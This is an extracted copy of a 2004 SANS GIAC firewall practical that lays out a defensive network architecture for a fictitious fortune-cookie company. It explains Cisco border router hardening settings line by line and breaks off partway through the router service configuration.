Network Security Architecture 1498

8/8/2019 Network Security Architecture 1498

http://slidepdf.com/reader/full/network-security-architecture-1498 1/100

Interested in learningmore about security?

SANS Institute

InfoSec Reading RoomThis paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission.

Network Security ArchitectureThis document describes the Information Technology (IT) security architecture for GIAC, a small fictitiouscompany who specializes in the distribution of fortune cookie sayings. The following aspects of the securitydesign are discussed: The company's business processes as they relate to the development and distribution offortune cookie sayings. The network applications, protocols and infrastructure used to track fortune cookiesayings from development to market. The security infrastructure including complete policies...

Copyright SANS Institute

Author Retains Full Rights

A D

http://www.sans.org/info/36923




http://www.sans.org/reading_room/images/click.php?id=459






© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

SANS Institute 2004, As part of GIAC practical repository. Author retains full rig

GCFW Practical v2.0 Network Security Architecture forGIAC Enterprises

Patrick Luce Page 1 of 983/8/2004

GIAC GCFW PRACTICALPractical Assignment v2.0

Network Security Architecture forGIAC Enterprises

Patrick W. LuceMarch 8, 2004



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





TABLE OF CONTENTS

TABLE OF CONTENTS 2

ABSTRACT 5

ASSIGNMENT 1: SECURITY ARCHITECTURE FOR GIAC ENTERPRISES 6

1.1 Description of GIAC Enterprises 6

1.2 Business Operations 6 1.2.A Suppliers 6 1.2.B Legal Reviewers 6 1.2.C Outsourced Translators 6 1.2.D Resellers 7

1.2.E Customers 7 1.2.F Outsourced Fin ancial Services Partner 7 1.2.G General Public 7 1.2.H GIAC Employees 7 1.2.I Internet Service provider 8

1.3 Information Infrastructure 8 1.3.A Development 8 1.3.B Production 9 1.3.C Administration 9 1.3.D Information Technology (IT) 10

1.4 Network Infrastructure 11

1.5. Security Architecture 12 1.5.A General Considerations for Network Devices 12 1.5.B Border Router 14 1.5.C Primary Firewall/VPN Concentrator 15 1.5.D Internal Firewall 16

ASSIGNMENT 2: SECURITY POLICIES AND TUTORIAL 18

2.1 Border Router Policy 18 2.1.A General Parameters 19 2.1.B Authentication/Authorization Parameters 19 2.1.C Service Configuration 21 2.1.D Logging Configuration 22

2.1.E Access-List (ACL) Configuration 22 2.1.F Terminal Access Configuration 26 2.1.G Routing Configuration 27 2.1.H Interface Configuration 27

2.2 Primary Firewall Policy 28 2.2.A General Parameters 29 2.2.C Service Configuration 32 2.2.D Logging Configuration 33 2.2.E Interface Configuration 34 2.2.F Access-List (ACL) Configuration 35



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.2.G Routing Configuration 37 2.2.H NAT Configuration 37 2.2.I Terminal Access Configuration 38

2.3 VPN Policy 38 2.3.A IPSEC Configuration 39 2.3.B Routing Parameters 40

2.3.C Authentication Parameters 40

2.4 Border Router Policy Tutorial 41 2.4.A Tutorial Syntax 42 2.4.B Connecting the Router to a Terminal Emulator 43 2.4.C Cisco IOS Command References and Command Mode s 44 2.4.D Configuration of General Parameters 46 2.4.E Authentication/Authorization Parameters 47 2.4.F Service Configuration 49 2.4.G Logging Configuration 50 2.4.H Access-list (ACL) Configuration 51 2.4.I Terminal Access Configuration 54 2.4.J Routing Configuration. 56 2.4.K Interface Configuration 57

ASSIGNMENT 3: VALIDATION OF THE GIAC FIREWALL POLICY 61

3.1 Validation Planning 61 3.1.A General Considerations 61 3.1.B Technical Approach 61

3.2 Conducting the Vali dation Testing 63 3.2.A Nmap Script Preparation and Execution 63 3.2.B Preparation of PIX Syslogs for Analysis 64

3.3 Validation Analysis 64 3.3.A Nmap Script R esults – TCP Scan 64

3.3.B PIX Syslog Results – TCP Scan 66 3.3.C Nmap Script R esults – UDP Scan 68 3.3.D PIX Syslog Results – UDP Scan 68 3.3.E Alternate Ar chitectures 69

ASSIGNMENT 4: DESIGN UNDER FIRE 71

4.1 Network Reconnaissance 71 4.1.A Web Searches 71 4.1.B Domain Information/ IP Address Searches 73 4.1.C Direct Fingerprinting/Vulnerability Sc anning 74

4.2 Direct Firewall Attack 74 4.2.A Firewall Vulnerability Research 74 4.2.B Firewall XSS Attack: Proof of Concept 76 4.2.C Direct Firewall Attack 77 4.2.D Attack Mitigation 78

4.3 Distributed Denial of Service (DDOS) Attack 78 4.3.A Slave Search 78 4.3.B Slave Comprom ise 79 4.3.C DDOS Email At tack 81

4.4 Compromise of an Internal Machine 82



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





4.4.A Reconnaissance 83 4.4.B The Attack 84 4.4.C Analysis 85

APPENDIX A: COMPLETE BORDER ROUTER POLICY 86

APPENDIX B: COMPLETE PRIMARY FIREWALL/VPN POLICY 91

REFERENCES 95



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ABSTRACT

This document describes the Information Technology (IT) security architecture forGIAC, a small fictitious company who specializes in the distribution of fortune cookiesayings. The following aspects of the security design are discussed:

• The company’s business processes as they relate to the development anddistribution of fortune cookie sayings

• The network applications, protocols and infrastructure used to track fortunecookie sayings from development to market

• The security infrastructure including complete policies for perimeter securitydevices

• A tutorial for configuration of the company’s border router• A process to validate the company’s primary firewall policy

In addition to the description of GIAC’s security architecture outlined above, an

analysis of a previously posted GIAC GCFW practical assignment submitted byAndrew Walker1 is provided. Andrew Walker’s submission may be found at:http://www.giac.org/practical/GCFW/Andrew_Walker_GCFW.pdf.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ASSIGNMENT 1: Security Architecture for GIAC Enterprises

1.1 Description of GIAC Enterprises

GIAC Enterprises (“GIAC” or “the Company”) is a small firm that sells fortune cookie

sayings (“Fortunes”) to major fortune cookie manufacturers throughout the world.GIAC is headquartered in Los Angeles, California, in the home (the “Office”) of oneof two company founders.

The Company business model strives to offer bulk Fortunes to manufacturers at thelowest possible rates by leveraging Information Technology (“IT”) to streamline theflow of Fortunes from development to market. Almost all business functions auxiliaryto IT and sales are outsourced. The Company also incorporates the followingbusiness principles wherever possible to minimize costs:

• All IT infrastructure and services are leased wherever possible if it is in theCompany’s best financial interest

• Software with little or no licensing costs is used wherever possible• “Open source2” software is used wherever possible to both minimize costs

and increase the flexibility of the IT infrastructure design

1.2 Business Operations

The core business of GIAC is to manage the flow of Fortunes from development tomarket. The Company outsources business functionality to outside firms (“Partners”)to minimize overhead. The role of each Partner as well as the role of GIACemployees, customers, and the general public is described below.

1.2.A Suppliers

GIAC has outsourced the supply of Fortunes to three firms (“Suppliers”) distributedthroughout the United States. The Suppliers obtain Fortunes written in English fromsubcontracted individual writers. Sayings generated by subcontractors areconsolidated by the Suppliers, who provide bulk Fortunes to GIAC.

1.2.B Legal Reviewers

When bulk Fortunes from Suppliers are received by GIAC, an outsourced legal firm(“Legal”) located in Manhattan Beach, California, reviews the new Fortunes to assurethat they do not contain copyrighted or trademarked material from another origin.

Fortunes approved by Legal are passed to GIAC employees in the Office for qualitycontrol. Fortunes accepted by GIAC are then passed to an outsourced translationfirm.

1.2.C Outsourced Translators

GIAC has contracted a translation firm (“Translation”) located in Santa Ana,California, to translate each accepted fortune into Chinese, Japanese, Spanish,



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





German and French. Each accepted fortune and all translations are then madeavailable by GIAC to resellers.

1.2.D Resellers

GIAC has partnered with seven reseller firms (“Resellers”) to sell bulk Fortunes to

fortune cookie manufacturers. Two of the Resellers are located in San Francisco,California, and San Jose, California. Three Resellers are located in Europe, and twoare located in Asia. Resellers are assigned monopolies to specific geographicregions and do not compete with each other for business. The Resellers aresupported by three mobile GIAC sales personnel (“Sales”) who support NorthAmerican, European, and Asian Resellers. When not traveling between Resellers,Sales personnel work from their homes.

1.2.E Customers

Customers obtain information about bulk Fortunes from their local Reseller. TheCompany maintains a public web presence. If a customer requests information about

purchasing Fortunes from GIAC’s public web site, they are asked to provide theirgeographic location via a web-based form. They are then immediately redirected tothe public web site of their local Reseller.

1.2.F Outsourced Financial Services Partner

GIAC has outsourced almost all business operations auxiliary to the developmentand resale of Fortunes to a financial services firm (“Finance”). Finance managespayments to Suppliers, Legal and Translation. Finance also manages invoices toResellers, payroll to employees, corporate taxes, and all other financial matters forGIAC.

1.2.G General Public

GIAC provides information to the general public about its busine ss operations via apublic web site.

1.2.H GIAC Employees

GIAC has seven full-time employees, three of whom work from the Office. Onefounder provides quality control for Fortunes, and manages Sales. The other founderdesigns, develops and maintains GIAC’s custom database applications that controlthe flow of Fortunes from development to market. The third employee at the Office

provides administrative support.

A fourth employee who provides systems administration (the “Sysadmin”)telecommutes from his home in San Jose, California. The remaining threeemployees are Sales personnel that support GIAC’s Resellers, and are based out oftheir homes in San Francisco, California, London, England, and Tokyo, Japan.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





1.2.I Internet Service provider

The bulk of GIAC’s IT infrastructure is housed at a commercial co-location3 facilitymaintained by the company’s Internet Service Provider (ISP). Personnel from theISP provide hands-on maintenance of GIAC’s IT infrastructure, which includeshardware maintenance and emergency restore operations. The ISP also provides

and maintains public web, Domain Name System4 (DNS) and email servers forGIAC.

1.3 Information Infrastructure

At the heart of GIAC’s Information infrastructure is a set of custom databasesdesigned to automate the flow of Fortunes from Suppliers to customers, and toautomate the flow of associated business functionality provided by Partners andGIAC employees. The databases are built upon the PostgreSQL5 platform. Accessto the databases is provided to appropriate parties via Apache6 web portals(“Portals”) that support information transfer to client browsers via 128-bit encryptedSecure Sockets Layer7 (SSL) connections. The Portals in turn connect to appropriate

database servers (“Databases”) via Structured Query Language8 (SQL) connectionsto provide business information.

All business information and logic is managed within Databases and accessed via aPortal. All Portals and Databases use Debian9 GNU/Linux as the underlyingoperating system. The information infrastructure of GIAC is separated into four coreareas: development, production, administration and IT. The structure of each area isdefined below.

1.3.A Development

The development infrastructure provides the platform for outsourced firms to developfortune cookie sayings for market. A logical diagram of the developmentinfrastructure is shown in figure 1.3.Aa.

The entrance to the GIAC development infrastructure is the Development Portal. TheDevelopment Portal is accessed by Suppliers, Legal, Translation and the Office todevelop Fortunes.

The Development Portal connects to the Development Database, which houses thecollection of Fortunes currently under development. The Development Database alsoprovides supporting documentation and business logic for each party tasked with a

aIn all logical diagrams in this document, arrows represent client to server connections. The arrow head points

to the server.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





portion of the development process. When the development of Fortunes is complete,the Development Database passes completed Fortunes to the Production Database,which houses Fortunes available for market.

1.3.B Production

The production infrastructure provides the platform to market Fortunes developed byGIAC. A logical diagram of the production infrastructure is shown in figure 1.3.B.

After Fortunes are passed from the Development Database to the Production

Database, they are made available to Resellers, Sales and the Office via theProduction Portal. The Production Portal connects to the Production Database,which houses the collection of Fortunes currently available for sale. The ProductionDatabase also provides supporting documentation and business logic for Resellersand Sales. Employees in the Office also connect to the Production Portal to testapplication behavior for Resellers and Sales.

1.3.C Administration

The administration infrastructure provides the platform to manage business functionsauxiliary to the flow of Fortunes. A logical diagram of the administration infrastructureis shown in figure 1.3.C.

The core of the administration infrastructure is the Administration Database thathouses all auxiliary support data for GIAC including human resource, generaladministration and financial data. The Administration Infrastructure is accessed by

GIAC employees and Finance via the Administration Portal. The AdministrationPortal Connects to the Administration Database, which houses all centraladministration data, supporting business logic and documentation. TheAdministration Database also connects to both the Development and ProductionDatabases to monitor the flow of Fortunes, which helps Finance to managepayments and invoices to Partners.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





1.3.D Information Technology (IT)

The IT infrastructure provides the platform to manage information flow for GIAC. Alogical diagram of the IT infrastructure that includes all network protocols used forinformation transmission is shown in figure 1.3.D.

In addition to providing public web, email and DNS services, the ISP provides allhardware maintenance including backup and tape rotation. In the event of anemergency or system failure, the ISP has console access to all GIAC devices on theco-located network.

Systems administration support for the G IAC network is provided by the Sysadmin,who has access via the Secure Shell Protocol10 (SSH) to all servers and networkdevices in the GIAC Office and on the co-located network. The Sysadmin uses SSHconnections to provide installation, configuration and maintenance of all software on

all network devices, servers and Office computer desktops.

All of the GIAC Databases are managed by one of the founders from the Office usingopen source development tools. The development tools connect to the Databasesvia SQL connections.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





1.4 Network Infrastructure

A logical diagram of the network infrastructure of GIAC is shown in figure 1.4.

The Office connects to the GIAC co-located network via a leased T111 line providedand managed by the ISP. The internal networks of both the co-located network andthe Office are connected via 10/100 Ethernet12 connections. The co-located networkalso connects to the ISP core network via a 10/100 Ethernet connection. The ISP

network is subsequently connected to the Internet via a n OC-1213

connection thatconnects to the ISP’s upstream provider. The same OC-12 connection providesconnectivity from the Internet back to the ISP network, and subsequently back toGIAC’s co-located and Office networks.

The Sysadmin connects to the ISP network via a Digital Subscriber Line14 (DSL)connection with a static Internet Protocol15 (IP) address provided by the ISP.Providing the Sysadmin with direct SSH access to each device on the GIAC networkis not possible due to the use of Network Address Translation 16 (NAT) as describedin section 1.5.C. In order to access a device directly, the device must have anindividually assigned public IP address. This is not the case for most of the deviceson the network. Therefore, the Sysadmin connects to GIAC’s network via a Virtual

Private Network17

(VPN) connection. The VPN connection uses the IP SecurityProtocols18 (IPSEC) to create a VPN “tunnel” for the Sysadmin to obtain a virtualinternal IP address. The Sysadmin may then connect via SSH from this internaladdress to any device on GIAC’s internal network.

GIAC’s Partners connect to the Internet via various connection types. Most do nothave static public IP address ranges assigned by their respective ISPs. The singleexception is Finance, which is required by GIAC to connect to the Company networkfrom a single public IP address. This requirement was set by GIAC due to the



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





particularly sensitive nature of the Administration Database. While securing allDatabases from unauthorized access is critical to GIAC’s business, theAdministration Database is particularly sensitive because it contains information thatin the wrong hands could cause catastrophic legal liability for the company.Examples include private employee information and confidential pricingarrangements with Suppliers and Resellers. Therefore, the company is hesitant to

open direct access to the Administration Portal from all IP addresses on the Internet,preferring to restrict direct access to the public IP addresses registered to Finance.

Securing access to the Administration Portal is complicated by the need for GIACsales personnel to also connect to the administration infrastructure. The GIAC salespersonnel connect to the Internet via dialup connections provided by ISPs local totheir region. Due to work-related travel, the IP addresses from which they connectare unpredictable. Therefore, Sales personnel connect to GIAC’s VPN to providethem with SSL-based access to the Administration Portal.

1.5. Security Architecture

A complete diagram of GIAC’s security architecture including all public and non-routable (RFC 191819) private IP addressing is provided in Figure 1.5. The securityarchitecture consists of concentric systems arranged to help provide “defense-in-depth20” of GIAC’s three critical Databases. The core systems employed to protectGIAC’s network from unauthorized access consist of the following:

1. A Border Router (or “External Router” or “Filtering Router”)2. A Primary Firewall (or “External Firewall”), which also provides VPN services3. A Secondary Firewall (or “Internal Firewall”)

These devices form concentric rings around GIAC’s network that provide three lines

of defense between the Internet and GIAC’s most critical assets, the Databases thathouse all company information.

1.5.A General Considerations for Net work Devices

The individual specifications for each core security device and their role in securingthe network are described later in Section 1.5. Several political, technical andbudgetary considerations affected the choice for all Company network equipmentincluding routers and switches. All network devices used by the Company aremanufactured by Cisco Systems, Inc21.

The choice of Cisco hardware is contrary to GIAC’s core business goals to minimize

capital costs and to use software with no licensing costs. Cisco is a relativelyexpensive equipment manufacturer and requires continuous licensing of theirsoftware to receive maintenance updates. The use of “closed source” Cisco softwareis also contrary to GIAC’s preference for open source software, which are bothtechnical and political compromises for the founders. However, factors other thanhardware/software cost and closed-source software determined the selection ofCisco equipment for GIAC.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





NOTE: a

a

“X.X” is used in this document to descri be a generic publicly routable IP address range. The term may be

substituted for any valid IP range. “Y.Y” is used to represent the generic publicly routable IP address range used

by Finance.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The most important consideration to standardize on Cisco hardware was the effect ofplatform choice on the price and quality of maintenance services provided by theISP. While the ISP provides maintenance and configuration services of networkingequipment from alternative manufacturers, the ISP has standardized their ownnetwork on Cisco equipment. As such, their price for hands-on maintenance of Ciscoequipment is less expensive than other manufacturers. More importantly the ISP

maintains a much larger presence of network engineers trained in the managementof Cisco equipment. While the majority of configuration services are performed bythe Sysadmin, assistance from the ISP in the event of a problem is more immediate.Therefore, the expertise of onsite personnel in GIAC’s co-located server facility wasa critical factor for choosing Cisco.

In addition to costs associated with ISP support, technical standards employed byGIAC also favored standardization on Cisco equipment. The company hasstandardized administration connections to all devices to SSH. The Sysadmin usesmanagement scripts and utilities that assume all servers, desktops and networkdevices support SSH connectivity to a fully functional command line interface 22 (CLI).This requirement precludes the use of some less expensive equipment from

alternate manufacturers. Furthermore, the ISP charges rent for equipment housingbased upon rack space. The use of low cost equipment that is not rack-optimizedmay ultimately cost more than higher-end equipment that is rack optimized, whichalso made Cisco equipment more appealing than some lower-end appliances.

Core security devices were chosen to represent the best financial value to thecompany while meeting required standards. The technical specifications for eachcore security component, as well as the role each plays in the overall securityarchitecture of GIAC’s network are described below.

1.5.B Border Router

Device: Cisco 2611XM Router23 (Part # CISCO2611XM)Operating System: Cisco IOS 12.2.23 Mainline24 Interfaces: 2 Fixed 10/100 Ethernet

The Border Router’s primary purpose is to forward traffic between GIAC’s internalnetwork and the external network of the ISP, which is the gateway to the publicInternet25. From a security standpoint it also represents the first opportunity to securethe perimeter of GIAC’s internal network25 from potentially hostile Internet traffic.

The Border Router provides the first line of defense by restricting access from theInternet to only those services allowed by GIAC into the internal network, and by

limiting access from within GIAC’s network to only those protocols required totransact business. The Border Router is also configured to help protect GIAC’snetwork by blocking traffic from invalid sources including non-allocated public IPaddresses26, spoofed27 RFC 1918 non-routable internal IP addresses and traffic thathas no source address. At best traffic of this nature originates from misconfigureddevices, and at worst it originates from malicious users.

The separation of the Border Router from a Primary Firewall/VPN Concentratorallows both devices to act in conjunction to offer a more complete line of defense



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





between GIAC’s network and the Internet. The Primary Firewall provides the bulk ofthe traffic inspection between the network and the Internet. The Border Routerperforms basic packet filtering that complements the firewall with a minimum ofresource overhead. The Border Router restricts invalid source addresses protocolsvia static packet filtering28 provided via Cisco Access Control Lists29 (“ACLs” or“access-lists”). While static packet filtering provides minimal packet analysis

compared to stateful packet inspection28, it is more efficient in memory andprocessor usage on the router.

The device chosen for the Border Router is the Cisco 2611XM Router. This router israck mountable and provides two built-in 10/100 Ethernet interfaces. The BorderRouter will use the Cisco Internet Operating System30 (IOS) version 12.2.23. Whilenot the newest version of Cisco’s IOS, it is still fully supported by Cisco and requiressubstantially less memory than the current IOS version 12.3.

1.5.C Primary Firewall/VPN Concentrator

Device: Cisco PIX 515E Firewall31 (Part # PIX-515E-R-DMZ-BUN)

Operating System: Cisco PIX Security Appliance Software v 6.332.Interfaces: 3 10/100 Ethernet

The next component in GIAC’s perimeter security is the Primary Firewall12, whichserves as the main “workhorse” in securing GIAC’s internal network fromunauthorized access via the internet.

The Primary Firewall adds a secondary level of protection for GIAC’s network byperforming stateful inspection of packets that have successfully passed through theBorder Router. Whereas the Border Router simply blocks packets by examining thesource and destination ports and IP addresses, the Primary Firewall examines the

session state of packets passing into the internal network, which preventsunauthorized sessions from being initiated by external hosts.

In addition to providing stateful packet inspection the Primary Firewall also providesNAT for GIAC’s internal network. This service translates non-routable (RFC-1918) IPaddresses on GIAC’s internal network to public IP addresses for use on the Internet.The use of non-routable addresses on the network provides the ability to connectmultiple internal devices to a single public IP address. It also offers a modest amountof additional security by hiding the internal configuration of GIAC’s network andobscuring traffic originating from a single internal host. The company has reserved aportion of their public IP address pool (X.X.70.48/29) to serve as a global NAT poolfor internal hosts. Hosts on GIAC’s network that do not require a static public IP

address will have their internal IP addresses mapped to an external IP address in theglobal NAT pool by the Primary Firewall on demand.

Several servers on GIAC’s internal network require a s tatic public IP address. Theprimary servers in this category are the Portals, which accept connections directlyfrom the Internet. The company has reserved a portion of their public IP addressspace (X.X.70.56/29) to map individual internal addresses to s tatic public IPaddresses. The internal DNS server and the logging server also require a staticpublic IP address. The logging server requires a public address in order to receive



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





logs from the Border Router, which is not located on GIAC’s private network. ThePrimary Firewall will be configured to allow access to th e logging server only fromthe Border Router. The internal DNS server also requires a static map to restrictDNS traffic from the external DNS server managed by the ISP (which is on the publicInternet) to GIAC’s internal server on the private network.

The Primary Firewall provides additional security for GIAC’s infrastructure byseparating servers that must be accessible via the Internet (namely the Portals) fro minternal devices that do not accept connections directly from the Internet. This isaccomplished by connecting the Portals to a “service network” (or “DMZ33”) separatefrom the internal network. The service network requires hosts on the Internet toconnect through one set of firewall rules to the Portals, and then separates thePortals from the database servers via a second set of firewall rules. This secondbarrier increases the difficulty of compromising the Databases from the Internet, andtherefore more than justifies the expense of a second perimeter device to GIAC.

The remaining function of the Primary Firewall is to provide VPN services for GIAC’sSales personnel and Sysadmin. A VPN provides a mechanism for allowing devices

on an untrusted network (such as the Internet) to appear as if they are part of atrusted private network. The Primary Firewall accomplishes this task byauthenticating the Sales employees and the Sysadmin when they connect to thePrimary Firewall from the Internet, and then encrypting communications between theemployee and the Primary Firewall to eliminate eavesdropping at any point throughthe connection. The VPN is configured to allow Sales employees and the Sysadminto access the Administration Portal as if they are on GIAC’s internal network. Due tothe critically sensitive nature of the information on the Administration Database, theVPN provides an additional barrier between the open Internet and the AdministrationPortal. The VPN also provides the Sysadmin with an internally routable IP address toconnect to all devices via SSH for systems management.

GIAC has elected to combine VPN services with the Primary Firewall to spare theexpense of a dedicated VPN concentrator. Due to the small number of usersrequiring VPN, the overhead on the Primary Firewall is minimal. In addition,integrating VPN with the Primary Firewall minimizes configuration difficulties due topassing IPSEC traffic through NAT.

The Company has chosen the Cisco PIX 515E for the Primary Firewall/VPNconcentrator. The PIX 515E is the smallest and least expensive Cisco device thatruns the fully featured PIX firewall software package and supports the three 10/100Ethernet interfaces required to host a servi ce network.

1.5.D Internal Firewall

Device: Cisco PIX 515E Firewall (Part # PIX-515E-R-DMZ-BUN)Operating System: Cisco PIX Security Appliance Software v 6.3.Interfaces: 3 10/100 Ethernet

The third layer of security separating GIAC’s Databases from the Internet is anInternal Firewall. The Databases house intellectual property that is GIAC’s mostcritical financial asset. The founders felt that the additional layer of segmentation



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





provided by an Internal Firewall justifies the additional expense. By separating theDatabases into an internal service network, traffic is not only restricted from thePortals in the external service network, it is also restricted from the Office network.The Internal Firewall therefore provides additional protection against intentional orunintentional misuse of the network by an Office employee due to misconfigurationof a device or malicious attempts at unauthorized access.

Theoretically, the Primary Firewall and Internal Firewall can be combined and stillprovide separation between the Internet, the internal and external service networksand the Office network. The PIX 515E accommodates up to 6 10/100 Ethernet portsthat can host six distinct security zones. However, the separation of the two firewallsprovides the following benefits:

1. Two devices with different rule sets provide a second buffer between theInternet and the Databases

2. Separating the devices simplifies the firewall rule sets, which reduces thechances for configuration error

3. Packet inspection is distributed between the two devices which increases

throughput capacity, and allows for network growth

The Company has also chosen the Cisco PIX 515E for the Internal Firewall, as it isthe smallest PIX firewall that is fully functional and supports at least three 10/100Ethernet interfaces.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ASSIGNMENT 2: Security Policies and Tutorial

2.1 Border Router Policy

As stated in Section 1.5, the Border Router has two primary functions:

1. To route IP traffic between GIAC’s network and the Internet2. To serve as the first line of defense of GIAC’s network by:

• Allowing authorized traffic from the Internet to enter GIAC’s network• Preventing unauthorized traffic from the Internet from entering GIAC’s

network

A summary of traffic originating from the Internet the Border Router must allow isshown in Table 2.1.

Source Source IP Destination Destination IP ProtocolProtocol/

PortPurpose

Partners AnyDevelopment

PortalX.X.70.57 SSL TCP 443

BusinessRequirement

Partners AnyProduction


BusinessRequirement

Finance Y.Y.24.35Administration


BusinessRequirement

Sysadmin X.X.125.48Administration


FirewallValidation

Sysadmin X.X.125.48BorderRouter

X.X.70.230 SSH TCP 22Router

Management

Sysadmin X.X.125.48 Firewall X.X.70.34 SSH TCP 22Firewall

Management

SalesSysadmin

Any Firewall X.X.70.34IPSEC

(ISAKMP)(AH, ESP)

UDP 500Protocols

50,51VPN

Table 2.1Authorized Traffic Originating From Internet into GIAC Network

In addition to governing traffic originating from the Internet, the Border Router mustalso limit unauthorized traffic originating from GIAC’s network to the Internet.

This section describes the complete policy enabled on the Border Router to performits primary functions while minimizing direct threats against itselfa. The completepolicy is stored in a configuration file on the router and is printed in it’s entirety inAppendix A. The order of rules in the complete policy is determined by the Cisco IOSsoftware and is not necessarily intuitive. With the exception of rules encompassedwithin an ACL, the order of rules is irrelevant from an instructional perspective.

Therefore, policy statements in this section are grouped by common objective ratherthan in IOS order. The exception is when policy statements are contained within anACL, which is referred to as an “access-list” by the Cisco IOS. Statements in anindividual access-list are processed in order by the router, and are presented in thissection in strict order.

aThe syntax for all policy rules in this section may be obtaine d from the “Cisco IOS Command Summary” for

IOS 12.2 in three volumes from:

http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/prod_ios_command_summary_list.html .



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.1.A General Parameters

The first group of policy statements in the Border Router defines general parametersconsisting of global hardware and software settings. Policy statements are in bold text, with explanations in blue.a

version 12.2The IOS version on the router. Different IOS versions support different commands.Therefore, the version number is an important guidepost for the router administrator.

Current configuration : 7364 bytesThe size of the configuration file stored on the router. The byte size can serve as aquick check to determine if the configuration has changed since a routeradministrator last viewed the configuration.

hostname border-rtrip domain-name giac.com

The router host name and domain name (border-rtr.giac.com). While the router doesnot use DNS, setting a host and domain name is required to generate encryptionkeys used for SSH.

memory-size iomem 10The percentage of DRAM assigned to router I/O. The router is set at the default levelof 10%. This number can be tuned as necessary by the router administrator toimprove performance.

clock timezone gmt 0The router time zone. Standardizing system clocks on Greenwich Mean Time (GMT)

reduces confusion that can be caused by local time differences or time changeswhen reviewing log files.

endDelineates the end of the policy.

2.1.B Authentication/Authorization Parameters

This set of policy statements defines access permissions to the IOS, which includesstatements that determine how valid router administrators are authenticated andauthorized to configure the router. The Cisco IOS defines two basic points ofauthorization: “user mode”, which allows limited command functionality, and

“privileged mode”, which allows complete router configuration. By default neithermode is password protected. The statements turn on advanced authentication,define accounts to access user mode, and establish a common password (called the“enable” password) to access privileged mode.

aIn addition to policy stat ements, the router configuration in Appendix A also includes exclamation points (“!”).

These are delimiters used by the IOS and not part of the policy.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





aaa new-modelTurns on advanced authentication, which allows database authentication rather thanrelying on common passwords for authentication. This increases individual useraccountability for router configuration.

aaa authentication login default local

Specifies that a local database of users authenticates local logins to user mode.Since only two usernames will be required, a more complex centralized userdatabase is unnecessary.

aaa authentication enable default enableSpecifies that enable (privileged) mode is accessed by a common enable password.User mode access is tied to an individual account name. In the event that one of theuser mode accounts is brute-forced or compromised, a second password createsanother barrier to unauthorized router configuration.

enable secret 5 $1$j5LA$f6rhlO.5SjgvrdMA7Fax6.Specifies the enable password, which is shown encrypted in the policy statement.

username sysadmin password 7106F25160B10200E080D293E2827262612121405140E445Dusername ispsupport password 7096D40060D0D120027030A2D1B253B20222D0103Creates the usernames “sysadmin” and “ispsupport” in the local user database, andshows the passwords in encrypted form. Normally an individual username would beprovided to every person using the router to improve accountability. However, theISP service contract requires GIAC to allow ISP personnel to share a singleusername. The contract makes the ISP legally liable for any activity generated fromthe ispsupport account.

banner login ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any informationstored or transmitted to or from this device for any purpose including criminalprosecution.^CCreates a login banner warning unauthorized users. This banner allows a degree ofincreased legal protection in the event that GIAC chooses to prosecute unauthorizedusers.

banner motd ^CThis device is for authorized users only. Use of this deviceconstitutes consent to monitoring, retrieval, and disclosure of any informationstored or transmitted to or from this device for any purpose including criminal

prosecution.^CCreates a “message of the day” banner” warning unauthorized users. Users whoattempt to connect to the IOS via SSH bypass the login banner. Therefore, a secondbanner is added after login to assure every user sees a warning.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





2.1.C Service Configuration

This set of policy statements shows router services that are turned on or off asnecessary for GIAC’s network.

service timestamps debug datetime msec

service timestamps log datetime msecThese commands add timestamps to debugging and system logs which helpscorrelate network events for analysis.

service password-encryptionEnables a service to encrypt passwords so they are not stored in the configurationfile in clear text. Otherwise, passwords appear on the terminal screen when viewingthe router configuration. This service minimizes the possibility of obtaining userpasswords by “shoulder surfing.”

no service padno service dhcp

no call rsvp-syncno ip bootp serverno ip domain-lookupThese commands disable X.25 PAD support, the built-in DHCP and BOOTP servers,the rsvp-sync service and DNS lookups. From a security standpoint, all unnecessaryservices should be disabled on any device, as extraneous services consume systemresources unnecessarily and may provide potential unauthorized entry points to thedevice if left unconfigured or incorrectly configured.

no ip source-routeDisables source routing, wherein a source host can designate the route to take to a

